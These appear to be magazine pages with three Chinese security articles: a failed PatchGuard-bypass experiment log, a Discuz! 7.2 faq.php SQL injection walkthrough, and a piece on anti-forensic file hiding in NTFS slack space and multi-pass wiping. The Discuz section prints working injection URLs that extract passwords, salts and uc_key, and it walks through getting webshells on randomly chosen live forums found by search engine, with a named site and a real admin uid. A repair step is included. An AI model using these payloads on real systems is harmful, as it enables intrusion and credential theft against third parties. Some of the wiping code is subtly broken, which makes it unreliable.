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PatchGuard 攻防 
文/图 李旭昇 

         PatchGuard 也称为内核补丁保护（Kernel Patch Protection，KPP），是微软在 64 位

Windows 操作系统上引入的一项安全机制。它最初部署在 64 位 XP 和 Windows Server 2003 

SP1 上，并被后续 64 位 Windows 操作系统沿用。简单来说，PatchGuard 每隔一段时间会检

查内核中重要数据和代码的完整性，如果发现任何修改，就以代码 0x109 蓝屏。PatchGuard

保护的内容包括：SSDT、IDT、GDT、MSR 和 ntoskrnl.exe 等基本系统模块、进程链表等等。 

         PatchGuard 的目的是禁止 DKOM 和 Ring0 hook 等直接修改系统内核的方法，从而

提升系统的安全性。不过由于 PatchGuard 与驱动程序运行在同样的特权级（Ring0）下，

PatchGuard 无法从根本上保证系统的安全。为此，微软模糊了 PatchGuard 的代码和符号，

并运用大量技巧来保证 PatchGuard 不被恶意驱动程序破坏。 

有关 PatchGuard 的详细分析请参考 Uninformed.org 上的三篇文章，这里限于篇幅不再

重复。本文记录了对 PatchGuard 由浅入深的研究与攻击。虽然最后未能如愿攻破 PatchGuard

这道防线，但也学到许多巧妙的保护机制，感觉收获良多。故作此文，与大家分享。 

 

第一回合：KeBugCheck(Ex) 

无论 PatchGuard 例程的触发方式多么隐秘（事实上是利用 DPC Timer，但从这里入手比

较复杂，请参考前面三篇论文），它在检测到任何修改后都会以 0x109 代码蓝屏，这是绝佳

的攻击点。如果在这里做些文章，是不是能力挽狂澜，使得 PatchGuard 失声呢？下面是具

体过程。 

攻 1：以 0xC3 覆盖 KeBugCheckEx 的第一个字节。 

如图 1 所示，0xC3 对应的汇编指令是 ret。如果 PatchGuard 例程执行到这里就自行返回，

我们便不战而胜。 

 

图 1 以 0xC3 覆盖 KeBugCheckEx 的第一个字节 

守 1：备份一份 KeBugCheckEx（及其调用的函数）的代码并在执行前覆盖当前代码。 

分析：由于 KeBugCheckEx 的代码处于 PatchGuard 保护范围之内，我们的修改将被检测

到。本次攻击没有奏效，且崩溃转储中 KeBugCheckEx 代码的第一个字节不是 0xC3，而是原

始的 0x48。我重复了实验，并在蓝屏前用 Windbg 验证 KeBugCheckEx 函数的第一个字节，

确实已经被修改为 0xC3。我又尝试修改 KeBugCheckEx 函数后面的字节及其调用的函数的代

码，结果蓝屏后这些代码都恢复如初。这只有一种解释，PatchGuard 以某种方式（通常会涉

及加密）备份这些函数的代码，并在真正执行之前覆盖一遍。 

看来简单的修改 KeBugCheckEx 函数代码是行不通的，而试图寻找 PatchGuard 所做的备

份无异于大海捞针。但由于“简单的返回”带来的巨大诱惑，我决定尝试一种不太优雅的方
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案。 

攻 2：以死循环反复覆盖 KeBugCheckEx 的第一个字节 

虽然 PatchGuard 用备份的代码覆盖被修改过的代码只需很短的时间，但这段时间相比

于我们的死循环（只有几条指令）执行一次所需的时间还是很久的。这样我们可以用一个

CPU 核心的代价“锁定”KeBugCheckEx 的第一个字节。如果这种方法能够奏效，PatchGuard

事实上已经被破解。 

但是这种方法仍然以失败告终。由于线程调度的原因，有几次试验中 PatchGuard 成功

无阻的导致蓝屏。在另外的实验中，我们的死循环成功的促使 PatchGuard 执行 C3 指令，但

结果是系统立刻卡死（既无响应，也不蓝屏）。查资料才知道 DPC Routine 是不能这样简单

的返回的！要想解决这个 Routine，可以将其引入一个死循环。 

攻 3：将 PatchGuard 引入死循环 

只需两个字节就可以制造一个死循环：0xEB 0xFE。0xEB 表示 jmp 指令，后面跟的是偏

移。0xFE 是-2，也就是下一条指令位于当前指令末尾往前两个字节。而当前指令的长度恰好

是两个字节，所以下一条指令就是当前指令，于是会形成一个死循环。 

将 PatchGuard 引入死循环可以避免蓝屏，也不会立刻卡死，但是如图 2 和图 3 所示，

PatchGuard 例程每执行一次都会导致一个 CPU 核心进入死循环，所以这种方法不是长久之

计。 

 

图 2  第一个 PatchGuard 例程陷入死循环后，CPU 占用率提高到 50%（其中 25%被用来反复

覆盖 KeBugCheckEx 的第一个字节） 

 

图 3 Process Explorer 工具记录到 System 进程中两个占用 25% CPU 的线程（第一个是

PatchGuard 例程，第二个是我编写的驱动） 

 

第二回合：硬件断点 

IA-32 处理器提供 8 个调试寄存器（Debug Register，DR），分别称为 DR0-DR7，其中 DR4

和 DR5 保留不用，DR0-DR3 中最多可以设置四个硬件断点的地址，DR7 中设置这四个断点的

类型（读/写/执行）和长度。如果能够借助硬件断点拦下 PatchGuard 的脚步，我们就有进一
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步进取的机会。需要注意的是，VMWare 和 Bochs 对硬件断点的实现与真正的 IA-32 处理器

不完全一样（参见《x86 x64 体系探索及编程》），以下实验都在真机上进行。如果读者重复

实验，请注意保存和备份数据，以免因反复蓝屏造成损失。 

攻 1：在 KeBugCheckEx 上设置硬件断点 

我们在 DR0 中放置 KeBugCheckEx 函数的地址，并在 DR7 的 R/W0 位设置 11B，表示在

DR0 寄存器指向的地址上读写数据都中断。由前面的分析知道，PatchGuard 的行为会导致调

试中断。虽然我们没有处理这个中断，将会导致蓝屏，但蓝屏的代码一定不是 0x109。如果

可以实现断下 PatchGuard 例程，我们再做 IDT hook 来自行处理这个中断也不迟。 

守 1：在覆盖 KeBugCheckEx 代码前清空 DR7 

不出所料，十分钟左右之后蓝屏了，蓝屏代码仍然是 0x109。检查崩溃转储的时候发现

DR0 中仍然是 KeBugCheckEx 的地址，但是 DR7 已被清空（事实上是设置为 0x401，但关键

位均被清空），我们的计划被粉碎了。看来微软还是在 PatchGuard 的自我保护上下了一番功

夫。攻守都是相对的，是不是我们的驱动程序想要对抗硬件断点只需在执行关键操作前清空

一下 DR7 就行了呢？并不是这么简单。DR7 寄存器的第 13 位为 GD 位（General Detect），用

于保护调试寄存器。当 GD 位置 1 时，如果 CPU 检测到下一条指令将要修改调试寄存器

（DR0-DR7），CPU 会在执行这条指令之前产生一个调试异常。我们试试这种方法能否奏效。 

攻 2：设置 DR7 的 GD 位 

注意，一定要先设置好 DR0 和 DR7 中断点相关的位再打开 GD。如果先打开 GD，设置

断点的时候就会导致调试异常（进而蓝屏），这不是我们预期的。 

这次还是失败了——0x109 蓝屏。检查崩溃转储的时候发现 DR7 再次被清空！难道 GD

位没发挥作用？非也。刚刚说过，实验中我尝试过先设置 GD 位再修改 DR0 和 DR7，这样也

会导致蓝屏，但这种蓝屏是由未处理的调试异常导致的，其代码绝对不会是 PatchGuard 专

用的 0x109。 

为了验证 PatchGuard 确实有某种神秘的方法将 DR7 清空，我开启 DR7 的 R/W0 位和 GD

位并循环读取 DR7 的值。注意，GD 只关注修改调试寄存器的指令，我们循环读取并不会导

致调试异常。如图 3 所示，DR7 每隔一段时间就会被清空，而这段时间恰与 PatchGuard 例

程的触发间隔相当。 

 
图 3 设置 GD 位后 DR7 仍然被清空（设为 0x401） 

 

第三回合：IDT Hook 

PatchGuard 是如何做到这一点的呢？最直接的方法当然是 IDT Hook。如果用自己的 ISR

处理调试异常，只需忽略 DR6 中用来指示修改调试寄存器的 BD 位即可。当然，我们可以预

先进行 IDT Hook，并在 1 号 ISR 的入口处和指向 1 号 ISR 的指针上下硬件写入断点。这样

PatchGuard 试图进行 Hook 时就会被断下，我们的服务例程将取得控制权。IDT Hook 的具体

代码这里不再重复，任何一本内核安全编程的书中都有详解。有关 x64 内联汇编的 方法请

参考我在本刊 2014 年第一期上的文章《X64 程序内联汇编两法》。 

不过 PatchGuard 显然比我想象的更为复杂，这次仍然是 PatchGuard 取得胜利。检查崩

溃转储的时候发现中断描述符表的基址发生了变化，而且新的 1 号描述符的服务例程指向一

个新的服务例程。也就是 PatchGuard 先通过 LIDT 改变该表的基址，然后又将 1 号 ISR 指向
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自己提供的服务例程。为了迷惑攻击者，PatchGuard 还精心的用原本的 1 号 ISR 覆盖被我下

断点的 ISR。如果我未曾检查中断描述符表基址，肯定无法发现其中的秘密！ 

我的实验过程到此就告一段落。如果想要就这个方向继续开展新的攻击，可能需要用到

VT 等虚拟化技术，拦截对 LIDT 指令的访问。不过如果采用 VT 技术，只需直接修改指令，

并在读取该指令时返回原先的指令即可。理论上这样便简单地骗过了 PatchGuard，有兴趣的

读者可以自行实验。本次实验虽然没有攻破 PatchGuard，但也收获了许多巧妙的方法和思路。

由于笔者水平有限，不当之处还望行家批评指正。 

                                                                                   

Discuz!7.2 faq.php 文件 SQL 注入漏洞分析

及利用实战 

文/图 [antian365.com] simeon 

   最近网上公开了 Discuz!7.2 版本 faq.php 文件 SQL 注入 0day，通过对文件漏洞分析以及实

战测试，效果不错，公开 exp 的利用需要对 SQL 语句以及数据库等相当了解，在某些情况下

需要多种技术配合才能最终攻克目标。下面就漏洞代码以及实战利用等进行探讨，对获取管

理员密码的利用，uc_key 获取 webshell，插件导入获取 Webshell 等进行探讨。 

 

faq.php 文件 SQL 注入漏洞代码分析 

本次存在漏洞的文件为 faq.php，打开该文件后，从第 148 行开始，代码如下： 

 

} elseif($action == 'grouppermission') { 

 require_once './include/forum.func.php'; 

 require_once language('misc'); 

 $permlang = $language; 

 unset($language); 

 $searchgroupid = isset($searchgroupid) ? intval($searchgroupid) : $groupid; 

 $groups = $grouplist = array(); 

 $query = $db->query("SELECT groupid, type, grouptitle, radminid FROM 

{$tablepre}usergroups ORDER BY (creditshigher<>'0' || creditslower<>'0'), 

creditslower"); 

 $cgdata = $nextgid = ''; 

 while($group = $db->fetch_array($query)) { 

  $group['type'] = $group['type'] == 'special' && $group['radminid'] ? 

'specialadmin' : $group['type']; 

  $groups[$group['type']][] = array($group['groupid'], $group['grouptitle']); 

  $grouplist[$group['type']] .= '<option 

value="'.$group['groupid'].'"'.($searchgroupid == $group['groupid'] ? ' 

selected="selected"' : '').'>'.$group['grouptitle'].($groupid == $group['groupid'] ? ' &larr;' : 

'').'</option>'; 

  if($group['groupid'] == $searchgroupid) { 

HACKER DEFENCE◆6◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

   $cgdata = array($group['type'], count($groups[$group['type']]) - 1, 

$group['groupid']); 

  } 

 } 

 if($cgdata[0] == 'member') { 

  $nextgid = $groups[$cgdata[0]][$cgdata[1] + 1][0]; 

  if($cgdata[1] > 0) { 

   $gids[1] = $groups[$cgdata[0]][$cgdata[1] - 1]; 

  } 

  $gids[2] = $groups[$cgdata[0]][$cgdata[1]]; 

  if($cgdata[1] < count($groups[$cgdata[0]]) - 1) { 

   $gids[3] = $groups[$cgdata[0]][$cgdata[1] + 1]; 

   if(count($gids) == 2) { 

    $gids[4] = $groups[$cgdata[0]][$cgdata[1] + 2]; 

   } 

  } elseif(count($gids) == 2) { 

   $gids[0] = $groups[$cgdata[0]][$cgdata[1] - 2]; 

  } 

 } else { 

  $gids[1] = $groups[$cgdata[0]][$cgdata[1]]; 

 } 

 ksort($gids); 

 $groupids = array(); 

 foreach($gids as $row) { 

  $groupids[] = $row[0]; 

 } 

 

 $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN 

{$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN 

(".implodeids($groupids).")"); 

 $groups = array(); 

     

 首先定义一个数组 groupids，然后遍历$gids（这也是个数组，就是$_GET[gids]），将

数组中所有值的第一位取出来放在 groupids 中。为什么这个操作会造成注入？在《高级 PHP

应用程序漏洞审核技术》一文里的“魔术引号带来的新的安全问题”一节里，有提到通过提

取魔术引号产生的“\”字符带来的安全问题，同样这个问题在这里又一次得到了完美体现。

discuz 在全局会对 GET 数组进行 addslashes 转义，也就是说会将'转义成\'，所以，如果我

们传入的参数是：gids[1]='的话，会被转义成$gids[1]=\'，而这个赋值语句$groupids[]= 

$row[0]就相当于取了字符串的第一个字符，也就是\，把转义符号取出来了。在将数据放入

sql 语句前，通过 implodeids 函数进行处理了一遍，implodeids 函数如下： 

 

function implodeids($array) { 

    if(!empty($array)) { 

        return "'".implode("','", is_array($array) ? $array : array($array))."'"; 
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    } else { 

        return ''; 

    } 

} 

 

 很简单的一个函数，就是将刚才的$groupids 数组用','分割开，组成一个类似于

'1','2','3','4'的字符串返回。但是我们的数组刚取出来一个转义符，它会将这里一个正常的'

转义掉，比如这样：'1','\','3','4'。 

 有没有看出有点不同，第 4 个单引号被转义了，也就是说第 5 个单引号和第 3 个单引

号闭合。这样 3 这个位置就等于逃逸出了单引号，也就产生了注入。我们把报错语句放在 3

这个位置，就能报错。 

 利用上面提到的思路，通过提交 faq.php?xigr[]='&xigr[][uid]=evilcode 这样的构造形

式，可以很容易地突破 GPC 或类似的安全处理，形成 SQL 注入漏洞。因此我们可以如下构

造利用代码： 

 faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from 

(select count(*),concat((select (select (select concat(username,0x27,password) from 

cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x 

from information_schema.tables group by x)a)%23 

 

可利用 exp 代码 

 (1)获取mysql用户信息 

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100]

[0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%2

8%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20

by%20x%29a%29%23 

(2)获取数据库版本信息 

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100]

[0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28versio

n%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group

%20by%20x%29a%29%23 

(3)获取数据库信息 

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100]

[0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28databa

se%28%29,floor%28rand%280%29*2%29,0x3a,concat%28user%28%29%29%20%29x%20from%20i

nformation_schema.tables%20group%20by%20x%29a%29%23 

(4)获取数据库用户名和密码 

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100]

[0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(u

ser,0x3a,password,0x3a)%20from%20mysql.user limit 

0,1 ),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)

%23 

（5）获取用户名、email、密码和 salt 信息 

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100]

[0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28sel
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ect%20concat%28username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques%29%20fr

om%20cdb_uc_members 

limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%

20group%20by%20x%29a%29%23 

（6）获取 uc_key 

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100]

[0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0

x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),

0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23 

(7)对指定uid获取密码 

http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100]

[0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28sel

ect%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_m

embers where 

uid=1 %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schem

a.tables%20group%20by%20x%29a%29%23 

 

利用 exp 工具使用 

 网上公布了可利用的 exp 工具，通过该工具可以快速获取管理员密码，但有时候 admin

帐号并不是管理员帐号。利用格式如下： 

   （1）直接获取webshell，一句话密码为“i0day”。 

 php dz7.2.php www.antian365.com / 1  

（2）获取管理密码 

 php dz7.2.php www.antian365.com / 2 

 

Discuz!7.2 faq.php 文件 SQL 注入漏洞利用思路 

（1）通过 exp 直接获取 webshell，如果不能则获取管理员密码。 

（2）对管理员密码进行破解。通过在 cmd5.com 网站对管理密码进行查询，需要带 salt，

获取的 salt要去掉最后一个数字“1”，例如下面获取： 

php dz7.2.php www.antian365.com / 2 

admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71，需要查询的是

c6c45f444cf6a41b309c9401ab9a55a7:066ff7 

注意：有时候通过工具获取的密码不一定是管理员，这个时候就需要手工获取管理员的

密码，还有，如果有 secques，就需要暴力破解。 

（3）通过 uc_key 获取 shell。 

（4）进入后台，添加插件获取 webshell。 

（5）http://www.antian365.com/config.inc.php，一句话密码 i0day 或者 cmd。 

 

修复方法 

 （1）直接删除 faq.php 文件。该文件为显示论坛帮助用的，功能相对独立，可以在服

务器禁止该文件的访问，或者直接删除，对论坛常规功能没有任何影响。 

 （2）手工修复 faq.php 

 用编辑器打开该文件，查找代码：“} elseif($action == 'grouppermission') {”，在其下面添

加“$gids = array();”即可。 
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实际利用案例 

1）直接获取 webshell 和管理员密码 

    通过 google、百度等搜索引擎搜索“Powered by Discuz！7.2”，在结果中随机选取一个

论坛，然后在命令提示符下输入“php dz7.2.php www1.xxxx.com / 1”以及“php dz7.2.php 

www1.xxxx.com /  2”，如图 1 所示，直接获取该网站的 webshell 以及管理员密码。 

 

图 1 获取 webshell 以及管理员密码 

 注意： 

 需要本地搭建 PHP 运行环境，本案例使用的是 ComsenzEXP X2.5，安装完毕后需要修改

php.ini 文件，该文件在安装该软件的 php 目录中，例如“D:\ComsenzEXP\PHP5”，打开 php.ini

文件，将以下文件的内容修改为实际安装文件的路径，否则执行 php 命令会报错。 

 zend_extension_manager.optimizer_ts="D:\ComsenzEXP\PHP5\Zend" 

 zend_extension_ts="D:\ComsenzEXP\PHP5\Zend\ZendExtensionManager.dll" 

 “/”后需要留一个空格。如果存在漏洞则有结果，无结果则表明无法获取 webshell 或

者管理员密码。 

    在中国菜刀中对上面获取的 webshell 进行连接测试，如图 2 所示，成功获取 webshell。 

 
图 2 对 webshell 进行连接测试 

 

2）通过 uc_key 获取 webshell 测试 

   （1）获取 uc_key 值 

在本地打开 config.inc.php 文件，如图 3 所示，将 UC_KEY 值复制，UC_KEY 可能是 64 位，

也可能为 124 位，也可以通过查看数据库中的 cdb_uc_applications 表的 authkey 字段值。 
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图 3 获取 uc_key 值 

 （2）修改 uc_key_dz72_me.php 程序配置 

    在 uc_key 漏洞利用程序 uc_key_dz72_me.php 中需要手动配置 host 和 uc_key 的值，如

图 4 所示。 

 

图 4 修改漏洞利用程序配置 

 （3）修改 discuz!7.2 实际安装路径 

    在 uc_key 漏洞利用程序 uc_key_dz72_me.php 中默认是安装在根目录中，但在实际使用

中有可能是安装在其它目录，比如 bbs、forum 等。如果不是默认根目录，则需要在 send（）

函数中修改 uc.php 真实路径，例如修改为“/dz72/api/uc.php”，如果是默认的则为

“api/uc.php”，其它保持不变。 

 

图 5 修改 post 参数 

 （4）执行利用程序 

HACKER DEFENCE◆11◆

黑
客
防
线
 

ww
w.
ha
ck
er
.c
om
.c
n 

转
载
请
注
明
出
处



 

    在 php.exe 程序所在目录执行“php uc_key_dz72_me.php”，如图 6 所示，会出现“1”

的提示，则表明成功获取 webshell。 

 
图 6 执行漏洞利用程序 

 （5）查看 config.inc.php 文件 

    再次打开 config.inc.php 文件，如图 7 所示，uc_key 中新增加了一句话后门代码，使用

中国菜刀连接，密码为“cmd”。 

 

图 7 成功获取 webshell 

 

3）手动获取 uc_key 和 webshell 

 （1）获取 uc_key 前 62 位值 

 在浏览器中目标地址后加上如下代码：

 “/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(sele

ct%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20subst

r(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20inf

ormation_schema.tables%20group%20by%20x)a)%23” 

 执行后获取 uc_key 前 62位值，如图 8 所示。 
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图 8 获取 uc_key 前 62 位值 

 （2）获取剩余 uc_key 值 

 在上述代码中将（authkey,1,62）修改为（authkey,61,64），如图 9 所示，获取 uc_key

值“j2J6”，去掉“j2”，前后值相加即为 uc_key 的真实值。如果 authkey 的值超过 64

位则修改为（authkey,61,128）。substr（）函数一次只能获取 62 位值。直接使用 substr

（authkey,1,124）也只能获取 62 位值，如图 10所示。 

 

图 9 获取 uc_key 剩余值 

 

图 10 一次只能获取 62 位值 
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 （3）获取 webshell 

    将 uc_key 值和 host 以及真实的路径值进行修改，然后通过 uc_key 漏洞利用程序，成功

获取 webshell，如图 11 所示。 

 
图 11 获取 webshell 

 （4）修补程序漏洞 

 在 faq.php 文件中找到 action==grouppermission 代码所在处，在其后加入代码“$gids = 

array();”，如图 12 所示，保存后即可修复 faq.php 注入漏洞。 

 

图 12 修复 faq.php 文件注入漏洞 

 

4）管理员不是默认的获取 webshell 

   （1）获取 admin 密码，但不是管理员帐号 

 对目标网站通过漏洞利用程序，获取管理员帐号为 admin 的密码和 salt 值，如图 13 所

示，将其在 cmd5.com 进行查询，得到破解后的密码后，使用其进行网站登录，如图 14 所

示，虽然为 admin 帐号，但不是管理员。 
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图 13 获取 admin 帐号密码 

 
图 14 登录网站 

 （2）获取管理团队帐号名称和 uid 

    在论坛中单击“论坛统计”-“管理团队”，如图 15 所示，获取所有管理团队的用户帐

号名称，单击该帐号可以获取 uid 值，分别记下其 uid 值，后续在程序中还有用。 

 

图 15 获取管理员帐号和 uid 值 
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 （3）获取真实管理员的帐号、密码和 salt 值 

 在浏览器中输入以下代码，获取指定 uid 的密码、email、salt 值： 

 http://www.antian365.com/faq.php?action=grouppermission&gids[99]=%27&gids[100

][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28se

lect%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_

members where 

uid=50477 %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_s

chema.tables%20group%20by%20x%29a%29%23 

    执行后通过出错信息获取其相应的值，如图 16所示。 

 
图 16 获取指定管理员的帐号密码和 salt 值 

    后续步骤与上面的类似，通过破解管理员的密码，登录后台，通过添加插件，成功获取

webshell。 

 

（完） 
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探讨 Windows 下文件反取证的几种方式 

文/ 倪程 成都工业职业技术学校 

 在互联网信息化高速发展的大环境下，数据信息的扩散传播速度已经是指数级别的，让

人防不胜防。往往不轻易之间，你的信息可能就会在各大电子新媒体论坛上出现。因此，如

何保护自己的文件不被外泄，做到文件真正地保密，是当前亟待解决的问题。一方面，担心

自己的重要电子数据丢失，一方面又担心自己的数据被窃取。目前，大多数人为了保护自己

的数据不被窃取或者泄密，常采用以下几种技术实现： 

（1）数据文件离散管理。即将文件分散存储，数据信息乱序压缩发散存储。除非离散

的各相关子文件都被窃取，否则这种方式在一定程度上可有效地避免数据泄密。 

（2）数据文件寄宿。即引入多个公开性文件作为机密文件的寄宿体，将文件寄宿到公

开性文件未使用到的空闲区域中。这种方式具有极高的隐秘性，但操作方式较为复杂，首先

需要寻找符合要求的寄宿文件，然后还需准确定位文件的寄宿位置，需要编写特定软件实现

文件寄宿。 

（3）文件加密。为了不被泄密，直接对文件进行高强度加密，使得文件即便窃取也是

不可读状态。这种技术可以做到一定的保密，但仅仅依赖密码技术实现文件保护，在特定环

境下，往往是不可靠的。 

 （4）文件永久擦除技术。为了一劳永逸地消除隐患，直接在磁盘上删除文件，通过 0/1

多次交替覆写方式，使用文件的永久删除。同样，这种方式也存在一定的隐患。随着数据恢

复技术的快速发展，这种擦除技术是否就一劳永逸，无法恢复，有待论证。虽然可能利用专

业的软件恢复方式，如 EasyRecovery、FinalData 无法做到，但利用硬件电磁干扰技术也许就

能实现数据的再现。 

本文将结合上述方式展开论述，并重点介绍文件加密离散寄宿和文件永久删除两种技术

的实现方式。 

 

文件加密离散寄宿技术 

文件寄宿方式其实从概念上讲，也可称之为文件隐藏技术。即寻找一定的载体作为寄宿

源，在保证原寄宿体不失真的情况下，实现文件隐藏。原文件的不失真现象，技术上也称之

为鲁棒性强。 

基于图像文件的隐藏。较早的图像隐藏技术一般都是基于 BMP 位图文件的隐藏，因为

这种文件的冗余字节较多，可充分利用这些字节实现文件的隐藏。但由于其字节位较为固定，

较为专业点的反取证软件一般都会针对性地判断这些字节位是否有可疑信息。随后，人们开

始引入密码技术，将文件采用 DES、RSA 加密算法对文件加密后，再按照一定规则离散，然

后分散存储到图像文件中；以及后期开始兴起的小波变换技术，利用小波域的图像融合算法

实现信息隐藏。 

基于磁盘文件的寄宿。本小节重点介绍这种简易且隐秘性较强的方法。通过分析磁盘文

件的空闲区域，如文件某段扇区未使用的空间，实现文件隐藏。NTFS 文件系统中，其核心

结构为主文件表 MFT，它存储了文件的所有基本信息，包括文件 MAC 时间、文件大小、文

件内容或其存放位置等。MFT 占用 2 个扇区共 1024 字节，一般情况下，文件对应的 MFT 表

项总存在或多或少的空闲空间。另外，文件占用的磁盘空间，最小单位为扇区，占 512 字节

大小，绝大多数时候，文件无法占用完所有扇区空间。简言之，可利用的寄宿空间可包括： 

（1）MFT 表项为非目录文件表项且文件内容很大（即不足以在 MFT 表项中存放），此
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时 MFT 表项只需要描述文件的相关属性信息，会存在大部分空闲字节区域。 

（2）MFT 表项为目录文件表项，但其下对应的子目录及子文件很少，或者其下的子目

录及子文件均已删除（当文件删除后，其父目录下的 MFT 表项中 90 属性内容会被清除）。

一般情况下，MFT 只占用前一个扇区的一部分内容，后一扇区其本为空。 

（3）文件大小不等于扇区的倍数。 

以 NTFS 文件系统为例，通过遍历整个分区下的 MFT 表项，80 属性下存放了指定文件

的实际大小，即在相对 80 属性头偏移 0x30 位置处的 4 字节内容即为文件实际大小；而文件

所占簇数则存放在 80 属性的 DataRuns 簇运行结构列表中。根据文件实际大小和文件所占簇

数，即可确定文件末簇空闲空间大小，此时我们就可借助 WriteFile 函数和 SetFilePointer 函

数对指定的空闲扇区进行写入操作，实现文件隐藏。关键函数代码说明如下： 

（1）空闲扇区的判断方式 

     BOOL FindFreeSec(){ /*tempBuff 设为 MFT 80 属性起始偏移*/ 

 WORD RunValOffset = *(LPWORD)(tempBuff + 0x20);  //运行偏移 

   DWORD runBytes = dwMFT80AttrLen - RunValOffset;  //运行簇占字节数 

   pTree->m_fileLen = *(LPDWORD)(tempBuff + 0x30); //文件实际长度 

   tempBuff += RunValOffset; //运行簇存储位置 

         /*根据运行簇占字节数、偏移获取文件各簇号及大小*/ 

   GetClus_FileContent(tempBuff, runBytes, pNTFSTree);  

   DWORD len = pTree->m_fileLen; 

   double dwFileFreeSize = 0.0; 

   unsigned int vect_size = pTree->pVRunVal.size(); 

   for(unsigned int i=0;i<max; i++){ 

   dwFileTotalSec += pTree->pVRunVal[i]->dwTotalSecNum;  

   } 

  if(len % 512 == 0) dwFileSecNum = len / 512; 

  else dwFileSecNum = len / 512 + 1; //文件实际所占扇区数 

  if(dwFileTotalSec >= dwFileSecNum){ 

   dwFileFreeSize = (double)(dwFileTotalSec - dwFileSecNum) / 2.0; 

   dwFileSec = dwFileTotalSec - pTree->pVRunVal[max-1]->dwTotalSecNum; 

             /*文件空闲的起始扇区数=运行簇最后一结构体表示的起始簇号+文件实际扇

区数-运行簇前几个结构占用的簇数*/ 

DWORD dwHideStartSec = pTree->pVRunVal[max-1]->dwStartSecNum + dwFileSecNum - 

dwFileSec;  

   pTree->m_fileHideSize = dwFileFreeSize; 

   pTree->m_HideStartSec = dwHideStartSec; 

} 

（2）指定扇区位置文件的写入方法 

BOOL WriteDisk( HANDLE hpartition, DWORD dwSector, DWORD dwLength, char* 

lpBuffer){ 

DWORD dwCB; 

LARGE_INTEGER  offset; 

offset.QuadPart  =  UInt32x32To64(dwSector ,  512);  

SetFilePointer(hpartition, offset.LowPart, &offset.HighPart, FILE_BEGIN); 

if(!WriteFile(hpartition, lpBuffer, dwLength * 512, &dwCB, NULL)){ 
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     DWORD error = GetLastError(); 

     MessageBox(NULL,"write file error!",NULL,IDOK); 

     return FALSE; 

} 

return TRUE; 

} 

结合上述方法介绍，读者可采用常规的二叉树先序遍历算法实现指定磁盘分区的遍历，

搜索满足条件的寄宿文件，然后选择此文件实施隐藏。文件恢复的时候也只需根据隐藏时的

两个参数变量：起始扇区数、文件大小，准确重构原文件。 

 

文件永久删除技术 

文件假删除现象。我们通常采用“Delete”键将文件拖入回收站 ,或者采用组合键

“shift+Delete”对文件删除后，存储在磁盘扇区内的数据并没有删除，系统仅仅是对文件属

性区域内的标记进行了简单置位，标识文件已经删除。采用各种现有的数据恢复软件，均可

实现数据再现。 

据称，目前高级恢复技术，可恢复已覆盖 6-9 次的数据文件。为实现数据的彻底销毁，

建议大家至少进行 4-5 次交替覆写操作，如对文件扇区内容交替地置位 0 和 1。有些程序员

通过循环多次写操作，以为已经实现了磁盘的真正多次写入。然而，实际上系统并没有进行

多次 I/O 操作，仅仅是将文件内容写入内存缓冲区，直至程序最后退出时，才写入磁盘。这

种结果，直接导致仅对目标文件做了一次覆写，通过专业的数据恢复软件都可实现恢复，显

然没有达到效果。内容多次写入磁盘的核心代码： 

/*计算文件所占扇区数*/ 

long outputFileSize = (long)Math.Ceiling((double)fi.Length / 512); 

 for (int x = 0; x < MaxWritesTime;x++){ 

  hFile = CreateFile(targetFile, FileAccess.Write,FileShare.None,IntPtr.Zero, 

OPEN_EXISTING, 

FILE_FLAG_WRITE_THROUGH | FILE_FLAG_NO_BUFFERING, 

           IntPtr.Zero); 

  uint bytesWritten; 

  byte [] charToWrite = new byte[512 * outputFileSize]; 

     if(x%2){ 

         for (int z= 0;z<charToWrite.Length;z++) charToWrite[z] = 49; 

  } 

        else{ 

            for (int z= 0;z<charToWrite.Length;z++) charToWrite[z] = 48; 

} 

  bool retVal = false; 

  System.Threading.NativeOverlapped no = new 

System.Threading.NativeOverlapped(); 

  // 写入指定内容至磁盘卷的指定扇区 

     retVal = WriteFile(hFile,charToWrite,(uint)(charToWrite.Length), 

out bytesWritten,ref no); 

File.Delete(targetFile); 

其中，“FILE_FLAG_WRITE_THROUGH | FILE_FLAG_NO_BUFFERING”即要求操作系统不得
